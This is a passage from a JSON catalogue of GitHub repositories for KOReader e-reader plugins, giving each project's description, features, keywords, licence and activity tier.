手机版需要注意横竖屏配置，具体以demo为准)","3.如果自行处理插件下载，下载好后调用下面的方法","4.如果使用SDK进行插件下载，使用以下代码"],"keywords":["sdk","demo","hostdemo","kopluginhostdemo","meta-data","komobilearena","apk","kotvarena","kopluginopensdk","androidmanifest","xml","application","largeheap","true","activity","service"],"topics":[],"stars":1,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2016-01-28T02:47:39Z","license":null,"default_branch":"master","has_meta":false,"readme_bytes":9010,"detail":"detail/stanley1984__KOPluginSDK.json","activity":"dormant","tier":"C","tier_reasons":["no_meta","dormant","documented"]},{"id":"stelzch/zeitdownloader.koplugin","owner":"stelzch","repo":"zeitdownloader.koplugin","url":"https://github.com/stelzch/zeitdownloader.koplugin","description":"Download \"Die Zeit\" right from KOReader.","purpose":"This is a port of my ZeitDownloader script to Lua and packaged as KOReader plugin. Currently it only supports downloading the most recent version.","categories":["files"],"features":[],"keywords":["download","die","zeit","right"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":true,"pushed_at":"2025-05-13T11:09:24Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":346,"detail":"detail/stelzch__zeitdownloader.koplugin.json","activity":"archived","tier":"C","tier_reasons":["has_meta","archived","archived","documented"]},{"id":"suponKhan/zlibrary.koplugin","owner":"suponKhan","repo":"zlibrary.koplugin","url":"https://github.com/suponKhan/zlibrary.koplugin","description":"Home of the KOReader Zlibrary plugin","purpose":"Disclaimer: This plugin is for educational purposes only. Please respect copyright laws and use this plugin responsibly.","categories":["library","content"],"features":["Search Z-library for books","Filter search results by language and file extension","KOReader installed on your device","A Z-library account","A Z-library url","Ensure you are in the KOReader file browser","Access the \"Search\" menu","Select \"Z-library Settings\" (it's probably on the second page of this menu)","Enter your Z-library username, password, and the base URL for your Z-library instance","Adjust other settings if needed"],"keywords":["home","zlibrary","z-library","demo","prerequisites","configuration","setup","gesture","optional","keywords","search","menu","access","download","content","device","file","open","page","select","browser","directly","e-reader","ensure"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2025-05-21T09:45:25Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2283,"detail":"detail/suponKhan__zlibrary.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"sypianski/hairline.koplugin","owner":"sypianski","repo":"hairline.koplugin","url":"https://github.com/sypianski/hairline.koplugin","description":"Minimal, flush-bottom progress bar for KOReader. Inspired by Crosspoint mode for xteink 4.","purpose":"A KOReader plugin that reshapes the reader's bottom progress bar into a minimal, full-width strip: the footer container's bottom padding *and* by the vertical centering inside the footer (the latter is what makes \"Bottom margin: 0\" alone insufficient when the bar is in *alongside* position). rectangle that competes…","categories":["ui","reading"],"features":["Stick the bar to the bottom screen edge — eliminates the gap caused by","Render the unread side fully transparent — instead of painting a","Adjustable bar height — quick spinner for 1–30 px, separate from","updateFooterContainer — forces self.bottom_padding = 0 before the","init — re-applies the above plus the transparent paintTo on the","addToMainMenu — injects our submenu into the existing"],"keywords":["crosspoint","e-ink","e-reader","footer","koreader","koreader-plugin","lua","minimal-ui","progress-bar","status-bar","xteink","minimal","flush-bottom","progress","bar","inspired","mode","hairline","origins","works","compatibility","translations","tags","bottom"],"topics":["crosspoint","e-ink","e-reader","footer","koreader","koreader-plugin","lua","minimal-ui","progress-bar","status-bar","xteink"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T11:30:56Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":4347,"detail":"detail/sypianski__hairline.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/kopad","owner":"sypianski","repo":"kopad","url":"https://github.com/sypianski/kopad","description":"Gamepad control for KOReader: crosshair word-snapping cursor + structured sentence/word navigation","purpose":"Gamepad control for KOReader. A crosshair word-snapping cursor + structured sentence/word navigation, designed for reading with a game controller.","categories":["ui","files"],"features":["sdl3_gamepad.patch — patches KOReader's SDL3 frontend to expose right","selection_analysis.py — design analysis script: simulates a realistic"],"keywords":["koreader-plugin","koreader","gamepad","control","crosshair","word-snapping","cursor","structured","sentence","word","navigation","kopad","sdl3","controls","reading","mode","enabled","overlay","selection","l-stick","opens","r-stick","active","cross-page"],"topics":["koreader-plugin","koreader"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-23T10:59:39Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3353,"detail":"detail/sypianski__kopad.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/kotheme.koplugin","owner":"sypianski","repo":"kotheme.koplugin","url":"https://github.com/sypianski/kotheme.koplugin","description":"KOReader plugin: rounded corners + smoother borders on notifications, popups, buttons, and highlight rectangles","purpose":"A KOReader plugin that smooths the rough edges off the built-in UI: rounded corners on popups, thinner borders on buttons, more breathing room around notifications, and rounded highlight rectangles.","categories":["sync"],"features":[],"keywords":["koplugin","koreader","rounded","corners","smoother","borders","notifications","popups","buttons","highlight","rectangles","kotheme","changes","works","companion","userpatch","compatibility","border","default","radius","button","hard","linux","size"],"topics":["koplugin","koreader"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T11:30:50Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":2465,"detail":"detail/sypianski__kotheme.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/marjenoti.koplugin","owner":"sypianski","repo":"marjenoti.koplugin","url":"https://github.com/sypianski/marjenoti.koplugin","description":"KOReader plugin: annotation notes pinned in the right page margin, like glosses in a critical edition","purpose":"A KOReader plugin that renders annotation notes in the right page margin, beside their highlights, like glosses in a critical edition.","categories":["sync","notes"],"features":["Hooks into KOReader's view-module system (paintTo) so it draws on every page render","Pre-computes positions during _update_items() using each annotation's pos0/pos1 xpointers — survives reflow, font changes, margin…","Walks the page's visible words (via the bundled paginmapo.lua extractor) to find the real right edge of the text block, not the…","Falls back to a 78%-of-screen heuristic when paginmapo is unavailable or the document is paged (PDF)","Stacks notes vertically without overlap (each item carries its own y_top + height)"],"keywords":["koplugin","koreader","annotation","notes","pinned","right","page","margin","like","glosses","critical","edition","marjenoti","works","integration","visel","pluginaro","bundled","paginmapo","lua","compatibility","note","font","itself"],"topics":["koplugin","koreader"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T11:30:46Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3566,"detail":"detail/sypianski__marjenoti.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"sypianski/textolimiti.koplugin","owner":"sypianski","repo":"textolimiti.koplugin","url":"https://github.com/sypianski/textolimiti.koplugin","description":"KOReader plugin: honest reading-% by marking where the real book text starts and ends (front matter / endnotes excluded)","purpose":"A KOReader plugin that fixes the reading-progress percentage so it tracks the real text of a book — not its front matter, endnotes, or bibliography.","categories":["misc"],"features":["La teksto komenciĝas ĉi tie — mark the current position as the start of the real text. Anything before becomes front matter…","La teksto finiĝas ĉi tie — mark the current position as the end. Anything after becomes endnotes / bibliography / index (also…","Montri · forigi markojn — list current marks; tap one to delete"],"keywords":["koplugin","koreader","honest","reading-","marking","where","real","book","text","starts","ends","front","matter","endnotes","excluded","textolimiti","works","compatibility","mark","body","chapter","current","hidden","itself"],"topics":["koplugin","koreader"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-24T11:30:54Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3378,"detail":"detail/sypianski__textolimiti.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/boggleparty.koplugin","owner":"t2ym5u","repo":"boggleparty.koplugin","url":"https://github.com/t2ym5u/boggleparty.koplugin","description":"Boggle Party plugin for KOReader","purpose":"A Boggle Party display plugin for KOReader — put your e-reader in the middle of the table and play Boggle with pen and paper.","categories":["misc"],"features":["Letters must be adjacent (horizontally, vertically, or diagonally)","Each letter may be used only once per word","Minimum 3 letters","Words found by more than one player are cancelled — only unique words score","Scoring: 3–4 letters = 1 pt, 5 = 2 pts, 6 = 3 pts, 7 = 5 pts, 8+ = 11 pts","Large grid — letters fill the screen for easy reading across a table","Countdown timer — 2, 3, 4 or 5 minutes (configurable); auto-reveals solutions at zero","Solutions view — all possible words grouped by length with totals","Two languages — EN and FR dictionaries (borrowed from boggle.koplugin)","E-ink friendly — grid is static during play; only the timer digit refreshes (fast/A2 mode)"],"keywords":["koreader-plugins","boggle","party","boggleparty","concept","rules","scoring","standard","controls","via","manager","manual","development","words","grid","timer","letters","solutions","found","more","only","paper","player","word"],"topics":["koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:04:48Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":2857,"detail":"detail/t2ym5u__boggleparty.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/dashboard.koplugin","owner":"t2ym5u","repo":"dashboard.koplugin","url":"https://github.com/t2ym5u/dashboard.koplugin","description":"Dashboard plugin for KOReader: current book, recent games, reading stats","purpose":"A dashboard plugin for KOReader. *(Screenshot to be added.)* A single home screen summarizing what matters across your reading and your installed game plugins: the book you're currently reading, recently played games with session stats, and quick actions — instead of digging through separate menus.","categories":["reading","games"],"features":["Reading section — currently-open book and recent reading history","Recent games — installed vs. played plugin counts, per-game session stats (sessions, time played)","Quick actions — update plugins, jump to the library","Startup display — optionally show the dashboard automatically when KOReader launches, with a configurable delay","Home-button shortcut — optionally bind the device home button to open the dashboard"],"keywords":["koreader-plugins","dashboard","current","book","recent","games","reading","stats","concept","controls","home","startup","button","played","actions","automatically","bind","delay","device","display","installed","open","optionally","quick"],"topics":["koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:14Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1475,"detail":"detail/t2ym5u__dashboard.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/gomoku.koplugin","owner":"t2ym5u","repo":"gomoku.koplugin","url":"https://github.com/t2ym5u/gomoku.koplugin","description":"KOReader plugin: gomoku.koplugin","purpose":"A Gomoku (five-in-a-row) plugin for KOReader. *(Screenshot to be added.)* Two players take turns placing stones on a 15×15 board. Black plays first. The first player to align 5 unbroken stones — horizontally, vertically, or diagonally — wins.","categories":["misc"],"features":["15×15 board — standard competition size","1-player mode — minimax AI at three difficulty levels (easy / medium / hard)","2-player mode — two humans on the same device","Undo — take back one move (or two in 1-player mode to keep it your turn)","Stone choice — in 1-player mode, pick whether you play Black or White","Auto-save — board state saved automatically"],"keywords":["koreader-plugins","gomoku","rules","controls","mode","1-player","board","difficulty","black","first","move","players","stone","stones","take","undo","standard","competition","size","minimax","three","levels","easy","medium"],"topics":["koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:05:38Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1057,"detail":"detail/t2ym5u__gomoku.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/pictionary.koplugin","owner":"t2ym5u","repo":"pictionary.koplugin","url":"https://github.com/t2ym5u/pictionary.koplugin","description":"Pictionary Party plugin for KOReader","purpose":"A Pictionary Party display plugin for KOReader — put your e-reader in the middle of the table and play Pictionary with pen and paper.","categories":["misc"],"features":["Teams take turns. The drawer sees the word in secret and draws it on paper; no speaking, no gestures","Teammates guess while the timer runs","✓ Got it! — tap to award +1 to the drawing team","✗ Missed — 0 points; play passes to the next team","First team to reach the agreed score wins","Secret word reveal — teammates look away while the drawer taps *Show the word*","Countdown timer — 45 s, 1 min, 1:30 or 2 min (configurable)","Auto-scored — ✓ Got it / ✗ Missed advances the team tracker automatically","Built-in word bank — 480 words across 8 categories × 3 difficulties (FR + EN)","Category & difficulty filters — Animals, Food, Sport, Objects… Easy / Medium / Hard / Mixed"],"keywords":["koreader-plugins","pictionary","party","concept","rules","categories","controls","via","manager","manual","development","team","word","timer","drawer","next","paper","teams","missed","play","secret","show","sport","teammates"],"topics":["koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:06:44Z","license":"GPL-3.0","default_branch":"master","has_meta":true,"readme_bytes":2672,"detail":"detail/t2ym5u__pictionary.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"t2ym5u/wordle.koplugin","owner":"t2ym5u","repo":"wordle.koplugin","url":"https://github.com/t2ym5u/wordle.koplugin","description":"KOReader plugin: Wordle","purpose":"A Wordle plugin for KOReader. *(Screenshot to be added.)* Guess the secret 5-letter word in 6 attempts. After each guess, tiles reveal: green = right letter right spot; yellow = right letter wrong spot; grey = letter not in word. The keyboard tracks used letters.","categories":["misc"],"features":["Correct — right letter, right position","Present — letter is in the word but in the wrong position","Absent — letter is not in the word","Multiple languages — word lists for EN, FR, DE, ES (and more)","Configurable word length — 4, 5 or 6 letters","On-screen keyboard — shows letter status at a glance","Hard mode — revealed hints must be used in subsequent guesses","Daily puzzle — one puzzle per day derived from the date (reproducible seed)","Free play — unlimited random puzzles","Statistics — win streak, guess distribution histogram"],"keywords":["koreader-plugins","wordle","rules","concept","controls","e-ink","friendly","letter","guess","word","right","each","after","game","keyboard","puzzle","5-letter","attempts","letters","on-screen","position","random","spot","wrong"],"topics":["koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T13:08:00Z","license":"GPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":1648,"detail":"detail/t2ym5u__wordle.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tachibana-shin/lunar.koplugin","owner":"tachibana-shin","repo":"lunar.koplugin","url":"https://github.com/tachibana-shin/lunar.koplugin","description":"A KOReader plugin for lunar/solar calendar lookup with multiple calendar systems","purpose":"A KOReader plugin for lunar/solar calendar lookup with multiple calendar systems (Vietnam, China, Japan, Korea, Hebrew, Hijri, Hindu).","categories":["dict","files"],"features":["Lunar ↔ Solar conversion using multiple calendar algorithms","Astronomical data: moon phase, zodiac sign, solar term, season, sun declination, sunrise/sunset/daylight","Events: Christian holidays, Vietnamese/Jewish/Islamic observances","Status line (configurable short/long format) showing lunar date, day kanji, astro info, events","ZenUI home screen cards: compact, detail, status, date-only, and kanji+date widgets","Date format tokens: YYYY, YY, MM, DD, M, D, d, m (see lunar_statusline.lua:getDateFormat)","Separator: any string (default · )","vietnam (default)","Calendar type","Latitude/longitude"],"keywords":["koreader","koreader-plugin","koreader-plugins","lunar","solar","calendar","lookup","multiple","systems","status","line","zenui","cards","configuration","files","date","events","format","settings","card","info","kanji","long","moon"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-06T10:29:51Z","license":"AGPL-3.0","default_branch":"main","has_meta":true,"readme_bytes":3714,"detail":"detail/tachibana-shin__lunar.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"tekofx/coppermind.koplugin","owner":"tekofx","repo":"coppermind.koplugin","url":"https://github.com/tekofx/coppermind.koplugin","description":"📖 KOReader plugin to search on coppermind.net","purpose":"","categories":["misc"],"features":["Search term on coppermind.net","Select coppermind instance (coppermind.net, es.coppermind.net, etc)"],"keywords":["ereader","koreader-plugin","coppermind","search","net","term","select","instance","etc"],"topics":["ereader","koreader-plugin","coppermind"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2025-12-11T15:43:34Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":357,"detail":"detail/tekofx__coppermind.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"thorondir/hotspot.koplugin","owner":"thorondir","repo":"hotspot.koplugin","url":"https://github.com/thorondir/hotspot.koplugin","description":"KOReader plugin to create a wireless access point","purpose":"A KOReader plugin that turns your Kobo into a Wi-Fi access point. 'Hotspot' is maybe a little misleading since this access point won't give you internet access, but it's useful for connecting other devices directly to your Kobo — for example, to transfer books over rsync/SSH.","categories":["ui"],"features":["Broadcasts a Wi-Fi AP (SSID, channel, and optional WPA2 password are all configurable)","Assigns the Kobo the static IP 192.168.42.1 on the AP interface","Runs a DHCP server so connecting devices get addresses in 192.168.42.10–100","Menu lives under Settings → Network → Wi-Fi hotspot","Can be set to start automatically with KOReader"],"keywords":["create","wireless","access","point","hotspot","does","works","hostapd","assignment","dhcp","porting","different","device","check","virtual","interface","obtain","architecture","udhcpd","verify","available","remove","kobo","guard"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-22T05:12:11Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":3644,"detail":"detail/thorondir__hotspot.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"titandrive/rotator.koplugin","owner":"titandrive","repo":"rotator.koplugin","url":"https://github.com/titandrive/rotator.koplugin","description":"","purpose":"A KOReader plugin for controlling Android's system-wide screen rotation. Available actions: Copy `rotator.koplugin` into:","categories":["ui"],"features":["Turn Android autorotate on or off","Lock the display in its current orientation","Cycle to the next orientation","Rotate 90, 180, or 270 degrees relative to the current orientation","Automatically lock the display after a cycle or relative rotation","Show a brief lock or unlock indicator in the top-right corner","Assign every operation through KOReader's gesture and action system","Access all controls from Tools → Rotator","Toggle Android auto-rotate","Unlock Android rotation"],"keywords":["koplugin","koreader","koreader-plugin","koreader-plugins","rotator","tools","menu","dispatcher","required","permission","android","degrees","rotate","orientation","rotation","cycle","action","autorotate","current","lock","locks","operation","relative","system"],"topics":["koplugin","koreader","koreader-plugin","koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-31T15:48:18Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2170,"detail":"detail/titandrive__rotator.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"ura23/batterygraph.koplugin","owner":"ura23","repo":"batterygraph.koplugin","url":"https://github.com/ura23/batterygraph.koplugin","description":"Battery tracking graph plugin for KOReader","purpose":"BatteryGraph is a lightweight, highly optimized plugin for KOReader that tracks your device's battery usage over time and displays it as an easy-to-read graph.","categories":["reading"],"features":["Accurate Tracking: Automatically records battery percentage drops and charging sessions in the background","E-Ink Optimized UI: The graph rendering algorithm is specifically tailored for E-Ink displays, using an optimized Bresenham…","Ultra-Low Memory Footprint: Uses a Structure of Arrays (SoA) data model. This allows the plugin to store up to a year of battery…","Energy Efficient: It doesn't waste your battery to track your battery! The plugin only writes to the database when a physical…","Flexible View Modes: View your battery curve for the Current Cycle (since last charge), or look back over 30, 90, 180, or 365 days","Smooth Interpolation: The graph smartly interpolates the battery discharge rate to the current moment, providing a smooth,…","Place the batterygraph.koplugin folder inside your KOReader plugins directory"],"keywords":["battery","tracking","graph","batterygraph","works","device","background","memory","optimized","algorithm","charger","current","curve","data","discharge","disk","displays","drops","e-ink","lightweight","like","only","over","smooth"],"topics":[],"stars":1,"forks":1,"is_fork":false,"archived":false,"pushed_at":"2026-08-01T14:29:55Z","license":"Apache-2.0","default_branch":"main","has_meta":true,"readme_bytes":2096,"detail":"detail/ura23__batterygraph.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"Wolfazzo/Custom-folder-icon","owner":"Wolfazzo","repo":"Custom-folder-icon","url":"https://github.com/Wolfazzo/Custom-folder-icon","description":"Choose a custom folder icon from dedicated folder","purpose":"Choose a custom folder icon from dedicated folder ONLY FOR PROJECT TITLE I created this plugin to quickly replace folder images on the fly. This way you don’t have to manually add an image, rename it to folder, and add a dot to the filename to hide it from the library. Just long‑press on a folder and choose “Folder…","categories":["ui"],"features":[],"keywords":["koreader-plugin","koreader-plugins","koreader-user-patch","choose","custom","folder","icon","dedicated","custom-folder-icon","koreader+projecttitle","images","have","image","long","preferred","press","remove"],"topics":["koreader-plugin","koreader-plugins","koreader-user-patch"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-03-20T12:06:30Z","license":null,"default_branch":"main","has_meta":false,"readme_bytes":908,"detail":"detail/Wolfazzo__Custom-folder-icon.json","activity":"active","tier":"C","tier_reasons":["no_meta","active","documented"]},{"id":"wtfffffffff511/koreader-lightflow.koplugin","owner":"wtfffffffff511","repo":"koreader-lightflow.koplugin","url":"https://github.com/wtfffffffff511/koreader-lightflow.koplugin","description":"KOReader的侧边滑动快捷键调整灯光，抬起手后才执行，太不现代了！我模仿Kobo原系统的灯光交互逻辑，在KOreader实现亮度随手指的滑动动态变化，并且支持调整开关以及调整灵敏度。","purpose":"一个 KOReader 插件：在屏幕左右边缘上下滑动时，前光亮度跟随手指连续实时变化（上滑变亮、下滑变暗，像 Kobo 原生系统），取代 KOReader 原生\"滑完松手才跳变\"的体验。 适用于所有搭载 KOReader 的触屏设备（Kobo、墨水屏安卓等；设备需有前光）。","categories":["misc"],"features":["连续模式只看手势起点是否在边缘带内，之后只跟 Y 轴（手指漂出边缘也不中断）","亮度用浮点累加器精确跟随：滑满整条边缘 = 恰好\"灵敏度\"对应的变化量，与触摸事件频率无关","到顶/到底后反向滑动立刻响应，无越界\"还债\"区","左右边缘独立开关 + 一键搞定设置（同时写入阅读界面与主页两个手势分区，可还原）","灵敏度 5 档（点按选择、长按改值），更新间隔 25/40/80/120/200ms","设计文档：docs/edge-brightness-plugin-design.md","逻辑自测：test/test_plugin.lua（LuaJIT + lupa 桩测试，覆盖激活判定、连续调光数学、节流不丢位移、边界、主页 FileChooser 注册、一键配置等）","只接管\"手势距离\"亮度变体（gestures.lua 中存为 {increase_frontlight = 0} / {decrease_frontlight = 0}）；固定增量、多动作绑定保持原生。","无前光设备不会加载。"],"keywords":["koreader-plugin","kobo","lightflow","frontlight","edge","swipe","test","120","200ms","docs","edge-brightness-plugin-design","lua","luajit","lupa","filechooser","gestures","increase","decrease"],"topics":["koreader-plugin"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-08-05T10:49:48Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2146,"detail":"detail/wtfffffffff511__koreader-lightflow.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"wuyscc/opdsnav.koplugin","owner":"wuyscc","repo":"opdsnav.koplugin","url":"https://github.com/wuyscc/opdsnav.koplugin","description":"A KOReader plugin that automatically seamlessly streams the next or previous item in an OPDS catalog.","purpose":"A KOReader plugin that automatically seamlessly streams the next or previous item in an OPDS catalog. This is highly beneficial for continuous streaming of manga or comic series from servers like Kavita, Komga, or Kavita, minimizing the need to manually return to the OPDS browser to select the next chapter.","categories":["library"],"features":["Continuous Page Streaming: When using the \"Page stream\" feature in an OPDS catalog, reaching the end of a document and attempting…","Reverse Streaming: Similarly, if you are on the very first page of a document and attempt to navigate backward, the plugin will…","Cross-Pagination Support: If the end of a current OPDS catalog page is reached, the plugin will automatically fetch the next page…","Smart Catalog Handling","Automatically skips \"Continue Reading from...\" duplicate entries","Supports detecting items marked as \"[Read]\" or with checkmarks (✔)","Asynchronous Transitions: Non-blocking transitions with a \"Loading\" notification to keep the UI responsive","Boundary Alerts: Provides on-screen feedback when you reach the absolute beginning or end of a whole series","Enable OPDS Navigation: Master toggle for the plugin logic"],"keywords":["automatically","seamlessly","streams","next","previous","item","opds","catalog","opdsnav","configuration","requirements","architecture","page","streaming","document","continue","enabled","kavita","navigation","book","continuous","enable","entries","first"],"topics":[],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-05-04T16:39:32Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":2603,"detail":"detail/wuyscc__opdsnav.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"xrishox/simpleui.koplugin","owner":"xrishox","repo":"simpleui.koplugin","url":"https://github.com/xrishox/simpleui.koplugin","description":"A highly customizable UI plugin for KOReader that features a home screen, bottom navigation bar, top bar and desktop modules/widgets. ","purpose":"This repository is a fork of the upstream SimpleUI project, maintained specifically to add support for Storyteller, a self-hosted book reading service. If you want to use the Storyteller integration shown here, this plugin is intended to be used alongside Storyteller Koreader Plugin: install both plugins, link…","categories":["ui","dict","files","notes"],"features":["Clock & Date — a large, readable clock with full date display","Currently Reading — your active book with cover art, title, author, progress bar, percentage read, and estimated time left","Recent Books — a row of up to 5 recent books with cover thumbnails and progress indicators; tap any to resume reading","Collections — your KOReader collections displayed as tappable cover cards, right on the home screen","Reading Goals — visual progress tracker for your annual and daily reading goals, including physical books read","Reading Stats — compact stat cards showing today's reading time, pages, streaks, and all-time totals","Quick Actions — up to 3 customisable rows of shortcut buttons (Library, History, Wi-Fi toggle, Brightness, Stats, and more)","New Books — a row of up to 5 recently added books sorted by file date; unread books are labelled \"New\" and started books show…"],"keywords":["highly","customizable","home","screen","bottom","navigation","bar","top","desktop","modules","widgets","simpleui","status","custom","title","folder","covers","quick","actions","settings","translations","included","languages","adding"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2026-08-11T21:36:27Z","license":"MIT","default_branch":"main","has_meta":true,"readme_bytes":19183,"detail":"detail/xrishox__simpleui.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"YANYImf/omnivore.koplugin","owner":"YANYImf","repo":"omnivore.koplugin","url":"https://github.com/YANYImf/omnivore.koplugin","description":"A simple plugin for KOReader to download articles from Omnivore as html files","purpose":"A simple plugin to fetch articles from Omnivore via the API. The script downloads articles as HTML, converting and embedding images as Base64 so that you can view them offline.","categories":["web","files"],"features":[],"keywords":["simple","download","articles","omnivore","html","files","directory"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2024-10-14T15:46:55Z","license":"MIT","default_branch":"drafts","has_meta":true,"readme_bytes":458,"detail":"detail/YANYImf__omnivore.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"Zetagon/anki.koplugin","owner":"Zetagon","repo":"anki.koplugin","url":"https://github.com/Zetagon/anki.koplugin","description":"KOReader plugin enabling Anki card generations for words looked up in the internal dictionary.","purpose":"KOReader plugin enabling Anki card generations for words looked up in the internal dictionary. NOTE: as mentioned in the Anki-Connect documentation, you will not be able to connect to Anki-Connect from your e-reader without updating the default settings.","categories":["dict","library"],"features":["connect the reader via USB","use KOreader's built-in SSH server"],"keywords":["enabling","anki","card","generations","words","looked","internal","dictionary","sentence","context","audio","metadata","options","overwrite","content","definition","offline","configuration","edit","within","field","which","note","stored"],"topics":[],"stars":1,"forks":0,"is_fork":true,"archived":false,"pushed_at":"2023-12-04T13:32:19Z","license":null,"default_branch":"master","has_meta":true,"readme_bytes":6798,"detail":"detail/Zetagon__anki.koplugin.json","activity":"dormant","tier":"C","tier_reasons":["has_meta","dormant","documented"]},{"id":"ZHA30/novel.koplugin","owner":"ZHA30","repo":"novel.koplugin","url":"https://github.com/ZHA30/novel.koplugin","description":"Novel for KOReader","purpose":"Read online novels in KOReader, manage a bookshelf, and cache chapters for offline reading. `plugins/novel.koplugin`","categories":["ui","library","content","notes"],"features":["Search and browse enabled book sources","View book details and chapter catalogs","Add books to a bookshelf and track reading progress","Read chapters online or download them for offline use","Manage downloads, cache data, reading appearance, and book sources","Retry failed search and discovery requests from the error dialog or action bar","Place the plugin directory under KOReader's plugins/ directory","Only in Novel","Pause while reading","Always download in background"],"keywords":["koreader","koreader-plugin","koreader-plugins","novel","does","access","interface","preview","configuration","bookshelf","reading","discover","search","downloads","cache","sources","limits","notes","source","chapters","download","book","chapter","action"],"topics":["koreader","koreader-plugin","koreader-plugins"],"stars":1,"forks":0,"is_fork":false,"archived":false,"pushed_at":"2026-07-26T04:25:47Z","license":null,"default_branch":"main","has_meta":true,"readme_bytes":4863,"detail":"detail/ZHA30__novel.koplugin.json","activity":"active","tier":"B","tier_reasons":["has_meta","active","documented"]},{"id":"zhangweiii/wereaddesktop.koplugin","owner":"zhangweiii","repo":"wereaddesktop.koplugin","url":"https://github.com/zhangweiii/wereaddesktop.koplugin","description":"","purpose":"把微信读书搬到 KOReader 桌面：启动即是你的微信书架，支持扫码登录、书城浏览、全书下载、划线评论，以及阅读进度、时长和已读状态云同步。适用于 Kindle 及其他运行 KOReader 的设备。 使用下方 Kindle 或 Kobo 一键安装器时，可跳过第 2、3 步，由安装脚本复制插件。","categories":["content"],"features":["微信读书书架桌面：启动和退出书籍时直接显示微信书架（封面、已读标记），而不是 KOReader 文件管理器","扫码登录：与微信读书官方 App 相同的二维码登录方式","书城：浏览书城推荐、搜索书籍","全书后台下载：一次后台下载一本书并打包成单个 EPUB，封面显示章节进度，长按可取消","划线与书友想法：下载书籍时可选“仅下载正文”或“正文及评论”；选择评论会预下载划线和书友想法，点击下划线时优先读取缓存，并支持继续「加载更多」","书友点评：阅读微信书籍时可从 KOReader 工具菜单查看整本书的精选点评","书架搜索与排序：书架内可按书名/作者筛选，并按最近阅读、书名、进度或未读完排序","阅读统计：设置页可查看本周和累计阅读统计","缓存管理：设置页查看微读缓存占用；长按已下载书籍可删除本地 EPUB、章节和评论缓存","出版社注释：将书中出版社注释转换为标准 EPUB 脚注，点击后使用 KOReader 